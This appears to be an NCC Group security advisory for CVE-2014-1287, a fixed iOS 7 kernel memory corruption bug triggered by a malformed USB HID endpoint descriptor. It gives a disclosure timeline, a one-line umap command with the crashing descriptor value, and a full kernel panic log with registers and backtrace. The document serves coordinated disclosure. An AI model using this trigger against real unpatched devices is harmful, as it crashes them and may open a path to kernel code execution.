iOS 7 - Kernel Mode Memory Corruption

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 Vulnerability Summary

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 Title             iOS 7 arbitrary code execution in kernel mode

 Release Date      14 March 2014

 Reference         NGS00596

 Discoverer        Andy Davis 

 Vendor            Apple

 Vendor Reference  600217059

 Systems Affected  iPhone 4 and later, iPod touch (5th generation) and later, 

                   iPad 2 and later

 CVE Reference     CVE-2014-1287

 Risk              High

 Status            Fixed



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 Resolution Timeline

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 Discovered        26 September 2013

 Reported          26 September 2013

 Released          26 September 2013

 Fixed             10 March 2014

 Published         14 March 2014



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 Vulnerability Description 

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 When a specific value is supplied in USB Endpoint descriptor for a HID device 

 the Apple device kernel panics and reboots



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 Technical Details

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 The bug can be triggered using umap (https://github.com/nccgroup/umap)

 as follows:



 sudo python3 ./umap.py -P /dev/ttyUSB0 -s 09:00:00:E:46



 bMaxPacketSize = 0xff



 Incident Identifier: F0856C91-7616-4DAC-9907-C504401D9951

 CrashReporter Key:   7ed804add6a0507b6a8ca9625f0bcd14abc6801b

 Hardware Model:      iPhone3,1

 Date/Time:           2013-09-26 12:35:46.892 +0100

 OS Version:          iOS 7.0 (11A465)



 panic(cpu 0 caller 0x882220a5): kernel abort type 4: fault_type=0x1, 

 fault_addr=0x28

 r0:   0x00000003  r1: 0x889e70bd  r2: 0x00000012  r3: 0xfffffffe

 r4:   0x9ae83000  r5: 0x00000003  r6: 0x00000000  r7: 0x87ff3d78

 r8:   0x00000000  r9: 0x00000000 r10: 0x00000000 r11: 0x00000001

 r12:  0x87ff3d50  sp: 0x87ff3d10  lr: 0x88af52bf  pc: 0x88af51f8

 cpsr: 0x80000033 fsr: 0x00000005 far: 0x00000028



 Debugger message: panic

 OS version: 11A465

 Kernel version: Darwin Kernel Version 14.0.0: Tue Aug 13 21:39:05 PDT 2013; 

 root:xnu-2423.1.73~3/RELEASE_ARM_S5L8930X

 iBoot version: iBoot-1940.1.75

 secure boot?: YES

 Paniclog version: 1

 Kernel slide:     0x0000000008200000

 Kernel text base: 0x88201000

 Epoch Time:        sec       usec

   Boot    : 0x52441b69 0x00000000

   Sleep   : 0x00000000 0x00000000

   Wake    : 0x00000000 0x00000000

   Calendar: 0x52441bb5 0x00056497



 Panicked task 0x896f8d48: 12856 pages, 114 threads: pid 0: kernel_task

 panicked thread: 0x8023de90, backtrace: 0x87ff3a48

      lr: 0x88317889  fp: 0x87ff3a7c

      lr: 0x883181f7  fp: 0x87ff3ab0

      lr: 0x882b783b  fp: 0x87ff3ad4

      lr: 0x882220a5  fp: 0x87ff3ba0

      lr: 0x8821c7c4  fp: 0x87ff3d78

      lr: 0x88af8687  fp: 0x87ff3da8

      lr: 0x8828b5bd  fp: 0x87ff3dd0

      lr: 0x889d6d29  fp: 0x87ff3df0

      lr: 0x889da2f3  fp: 0x87ff3e18

      lr: 0x8828b5bd  fp: 0x87ff3e40

      lr: 0x889da14f  fp: 0x87ff3e7c

      lr: 0x88acb8e7  fp: 0x87ff3eb8

      lr: 0x88ac9815  fp: 0x87ff3ed4

      lr: 0x884b24d3  fp: 0x87ff3f60

      lr: 0x882cf869  fp: 0x87ff3fa8

      lr: 0x8821f05c  fp: 0x00000000



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 Fix Information

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 A patch can be downloaded from the following location:

 http://support.apple.com/kb/HT1222

  

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 NCC Group

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